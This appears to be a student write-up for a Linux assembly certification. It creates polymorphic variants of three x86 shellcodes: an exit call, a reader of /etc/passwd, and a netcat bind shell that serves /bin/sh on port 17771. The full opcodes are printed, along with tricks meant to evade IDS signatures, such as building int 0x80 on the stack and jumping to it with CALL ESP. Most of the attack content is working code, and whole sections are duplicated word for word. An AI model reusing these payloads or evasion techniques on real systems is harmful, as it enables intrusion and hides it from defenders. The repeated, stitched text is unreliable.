The word polymorphic comes from two words ( poly - many , morph - shape ). It means the existence of same thing in multiple form. Similarly in shellcode with same functionality can be written in multiple ways with a motive mostly to obfuscate and bypass malware detection service. In this post I will take up 3 shellcodes from shell-storm and try to create the polymorphic versions of the shellcode. For each polymophic shellcode I have used a different technique.
Shellcode 1: Exit Shellcode ( http://shell-storm.org/shellcode/files/shellcode-623.php )
Size : 8 bytes
31 c0 xor eax,eax
b0 01 mov al,0x1
31 db xor ebx,ebx
cd 80 int 0x80
We can see that at line 3 the code is xor'ing out ebx and it is storing the value 0 at the time of the the execution of the program. The value which ebx stores is the value that is returned after a program exits. Generally from the exit values we can determine the type of exits, if it was a clean exit or some abnormal termination of the code. Let us imagine that for our current situation we are really not bothered about the return value 0 and we are okay with any value returned. So we can happily remove the line of code xor ebx,ebx and accept any garbage value stored inside ebx. So our new code becomes 6 bytes.
31 c0 xor eax,eax
b0 01 mov al,0x1
cd 80 int 0x80
Can we further shorten it ? Yes. The instruction mov al,0x1 can be replaced with inc eax. This will reduce the size by 1 byte as inc eax is 1 byte opcode . Our final shellcode is 5 bytes.
31 c0 xor eax,eax
40 inc eax
cd 80 int 0x80
Shellcode 2 : cat /etc/passwd Shellcode (http://shell-storm.org/shellcode/files/shellcode-571.php)
Size : 43 bytes
This was a slight challenging one as the code already seemed to be optimized. I had to keep in mind that the morphed code should be lesser than 150 % of the original shellcode. The changes I made here is replacing push instruction with mov instruction. Instead of pushing the hex encoded strings to the stack using push instruction , we will move the strings directly to stack using mov instruction and then adjust the stack pointer with sub instruction. Our final shellcode is 65 bytes in size
08048060 <_start>:
8048060: 31 d2 xor edx,edx
8048062: 52 push edx
8048063: c7 44 24 fc 2f 63 61 mov DWORD PTR [esp-0x4],0x7461632f ;removed push
804806a: 74
804806b: c7 44 24 f8 2f 62 69 mov DWORD PTR [esp-0x8],0x6e69622f ;removed push
8048072: 6e
8048073: 83 ec 08 sub esp,0x8 ; subtract 8 bytes to adjust the stack pointer
8048076: 89 e3 mov ebx,esp
8048078: 52 push edx
8048079: c7 44 24 fc 73 73 77 mov DWORD PTR [esp-0x4],0x64777373 ;removed push
8048080: 64
8048081: c7 44 24 f8 2f 2f 70 mov DWORD PTR [esp-0x8],0x61702f2f ;removed push
8048088: 61
8048089: c7 44 24 f5 2f 65 74 mov DWORD PTR [esp-0xb],0x6374652f ;removed push
8048090: 63
8048091: 83 ec 0b sub esp,0xb ; subtract 12 bytes to adjust the stack pointer
8048094: 89 e1 mov ecx,esp
8048096: 31 c0 xor eax,eax
8048098: b0 0b mov al,0xb
804809a: 52 push edx
804809b: 51 push ecx
804809c: 53 push ebx
804809d: 89 e1 mov ecx,esp
804809f: cd 80 int 0x80
This blog post has been created for completing the requirements of SecurityTube Linux Assembly Expert Certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: PA-1191
Shellcode 1: Exit Shellcode ( http://shell-storm.org/shellcode/files/shellcode-623.php )
Size : 8 bytes
31 c0 xor eax,eax
b0 01 mov al,0x1
31 db xor ebx,ebx
cd 80 int 0x80
We can see that at line 3 the code is xor'ing out ebx and it is storing the value 0 at the time of the the execution of the program. The value which ebx stores is the value that is returned after a program exits. Generally from the exit values we can determine the type of exits, if it was a clean exit or some abnormal termination of the code. Let us imagine that for our current situation we are really not bothered about the return value 0 and we are okay with any value returned. So we can happily remove the line of code xor ebx,ebx and accept any garbage value stored inside ebx. So our new code becomes 6 bytes.
31 c0 xor eax,eax
b0 01 mov al,0x1
cd 80 int 0x80
Can we further shorten it ? Yes. The instruction mov al,0x1 can be replaced with inc eax. This will reduce the size by 1 byte as inc eax is 1 byte opcode . Our final shellcode is 5 bytes.
31 c0 xor eax,eax
40 inc eax
cd 80 int 0x80
Shellcode 2 : cat /etc/passwd Shellcode (http://shell-storm.org/shellcode/files/shellcode-571.php)
This was a slight challenging one as the code already seemed to be optimized. I had to keep in mind that the morphed code should be lesser than 150 % of the original shellcode. The changes I made here is replacing push instruction with mov instruction. Instead of pushing the hex encoded strings to the stack using push instruction , we will move the strings directly to stack using mov instruction and then adjust the stack pointer with sub instruction. Our final shellcode is 65 bytes in size
08048060 <_start>:
8048060: 31 d2 xor edx,edx
8048062: 52 push edx
8048063: c7 44 24 fc 2f 63 61 mov DWORD PTR [esp-0x4],0x7461632f ;removed push
804806a: 74
804806b: c7 44 24 f8 2f 62 69 mov DWORD PTR [esp-0x8],0x6e69622f ;removed push
8048072: 6e
8048073: 83 ec 08 sub esp,0x8 ; subtract 8 bytes to adjust the stack pointer
8048076: 89 e3 mov ebx,esp
8048078: 52 push edx
8048079: c7 44 24 fc 73 73 77 mov DWORD PTR [esp-0x4],0x64777373 ;removed push
8048080: 64
8048081: c7 44 24 f8 2f 2f 70 mov DWORD PTR [esp-0x8],0x61702f2f ;removed push
8048088: 61
8048089: c7 44 24 f5 2f 65 74 mov DWORD PTR [esp-0xb],0x6374652f ;removed push
8048090: 63
8048091: 83 ec 0b sub esp,0xb ; subtract 12 bytes to adjust the stack pointer
8048094: 89 e1 mov ecx,esp
8048096: 31 c0 xor eax,eax
8048098: b0 0b mov al,0xb
804809a: 52 push edx
804809b: 51 push ecx
804809c: 53 push ebx
804809d: 89 e1 mov ecx,esp
804809f: cd 80 int 0x80
Increment in size : 51.16 % increment in size
Shellcode 3 : netcat Shellcode ( http://shell-storm.org/shellcode/files/shellcode-872.php )
Size : 58 bytes
For creating a polymorphic version of this shellcode I took inspiration from this shellcode ( http://shell-storm.org/shellcode/files/shellcode-256.php ). The author mentioned that the technique he implemented is to defend against IDS signatures. The obfuscation has been done to to avoid the detection of the opcodes (cd 80) which means an interrupt 0x80. So in this shellcode we will not find any mention of the opcode ( cd 80 ). At the end of the code there is CALL ESP instead of INT 0x80. As the author didn't mention the logic behind the implementation, I decided to put it inside a debugger and tried to understand how inspite of not having INT 0x80 instruction, the code still works ? If we look into the disassembly we will find that certain value gets subtracted from EDI and the result is stored in EDI. Examining EDI register we see it stores the value 0x80cd. This is followed by a push operation. So EDI values is pushed onto the stack and stack pointer now points to 0x80cd. Now we know that the opcode for int 0x80 is on top of the stack where the stack pointer is currently pointing. The next instruction is CALL ESP. So what happens here is that ESP contains the address of the top of the stack which is currently storing opcode 80cd and when CALL ESP instruction is executed EIP register moves to the address that is pointed to the address by ESP and starts executing the opcode 0x80 as an opcode for INT 0x80 instruction which further executes our actual code which was waiting to get triggered by 0x80 interrupt.
So the changes that I made in the polymorphic versions are
1) Instead of hardcoding the syscall for execve, I added a code to do a subtraction and stored the value 11 or 0xB
8048096: b0 63 mov al,0x63
8048098: 2c 58 sub al,0x58
2) Instead of using the instruction INT 0x80, I stored the opcode in the register, pushed it on the stack and used CALL ESP technique to execute the opcode
804809a: ba ce 90 ff ff mov edx,0xffff90ce
804809f: 81 ea 01 10 ff ff sub edx,0xffff1001
80480a5: 52 push edx
80480a6: 31 d2 xor edx,edx
80480a8: ff d4 call esp
The size of the shellcode is 74 bytes
08048060 <_start>:
8048060: 31 c0 xor eax,eax
8048062: 31 d2 xor edx,edx
8048064: 50 push eax
8048065: 68 37 37 37 31 push 0x31373737
804806a: 68 2d 76 70 31 push 0x3170762d
804806f: 89 e6 mov esi,esp
8048071: 50 push eax
8048072: 68 2f 2f 73 68 push 0x68732f2f
8048077: 68 2f 62 69 6e push 0x6e69622f
804807c: 68 2d 6c 65 2f push 0x2f656c2d
8048081: 89 e7 mov edi,esp
8048083: 50 push eax
8048084: 68 2f 2f 6e 63 push 0x636e2f2f
8048089: 68 2f 62 69 6e push 0x6e69622f
804808e: 89 e3 mov ebx,esp
8048090: 52 push edx
8048091: 56 push esi
8048092: 57 push edi
8048093: 53 push ebx
8048094: 89 e1 mov ecx,esp
8048096: b0 63 mov al,0x63
8048098: 2c 58 sub al,0x58
804809a: ba ce 90 ff ff mov edx,0xffff90ce
804809f: 81 ea 01 10 ff ff sub edx,0xffff1001
80480a5: 52 push edx
80480a6: 31 d2 xor edx,edx
80480a8: ff d4 call esp
Size : 58 bytes
For creating a polymorphic version of this shellcode I took inspiration from this shellcode ( http://shell-storm.org/shellcode/files/shellcode-256.php ). The author mentioned that the technique he implemented is to defend against IDS signatures. The obfuscation has been done to to avoid the detection of the opcodes (cd 80) which means an interrupt 0x80. So in this shellcode we will not find any mention of the opcode ( cd 80 ). At the end of the code there is CALL ESP instead of INT 0x80. As the author didn't mention the logic behind the implementation, I decided to put it inside a debugger and tried to understand how inspite of not having INT 0x80 instruction, the code still works ? If we look into the disassembly we will find that certain value gets subtracted from EDI and the result is stored in EDI. Examining EDI register we see it stores the value 0x80cd. This is followed by a push operation. So EDI values is pushed onto the stack and stack pointer now points to 0x80cd. Now we know that the opcode for int 0x80 is on top of the stack where the stack pointer is currently pointing. The next instruction is CALL ESP. So what happens here is that ESP contains the address of the top of the stack which is currently storing opcode 80cd and when CALL ESP instruction is executed EIP register moves to the address that is pointed to the address by ESP and starts executing the opcode 0x80 as an opcode for INT 0x80 instruction which further executes our actual code which was waiting to get triggered by 0x80 interrupt.
So the changes that I made in the polymorphic versions are
1) Instead of hardcoding the syscall for execve, I added a code to do a subtraction and stored the value 11 or 0xB
8048096: b0 63 mov al,0x63
8048098: 2c 58 sub al,0x58
2) Instead of using the instruction INT 0x80, I stored the opcode in the register, pushed it on the stack and used CALL ESP technique to execute the opcode
804809a: ba ce 90 ff ff mov edx,0xffff90ce
804809f: 81 ea 01 10 ff ff sub edx,0xffff1001
80480a5: 52 push edx
80480a6: 31 d2 xor edx,edx
80480a8: ff d4 call esp
The size of the shellcode is 74 bytes
08048060 <_start>:
8048060: 31 c0 xor eax,eax
8048062: 31 d2 xor edx,edx
8048064: 50 push eax
8048065: 68 37 37 37 31 push 0x31373737
804806a: 68 2d 76 70 31 push 0x3170762d
804806f: 89 e6 mov esi,esp
8048071: 50 push eax
8048072: 68 2f 2f 73 68 push 0x68732f2f
8048077: 68 2f 62 69 6e push 0x6e69622f
804807c: 68 2d 6c 65 2f push 0x2f656c2d
8048081: 89 e7 mov edi,esp
8048083: 50 push eax
8048084: 68 2f 2f 6e 63 push 0x636e2f2f
8048089: 68 2f 62 69 6e push 0x6e69622f
804808e: 89 e3 mov ebx,esp
8048090: 52 push edx
8048091: 56 push esi
8048092: 57 push edi
8048093: 53 push ebx
8048094: 89 e1 mov ecx,esp
8048096: b0 63 mov al,0x63
8048098: 2c 58 sub al,0x58
804809a: ba ce 90 ff ff mov edx,0xffff90ce
804809f: 81 ea 01 10 ff ff sub edx,0xffff1001
80480a5: 52 push edx
80480a6: 31 d2 xor edx,edx
80480a8: ff d4 call esp
Increment in size : 27.5 %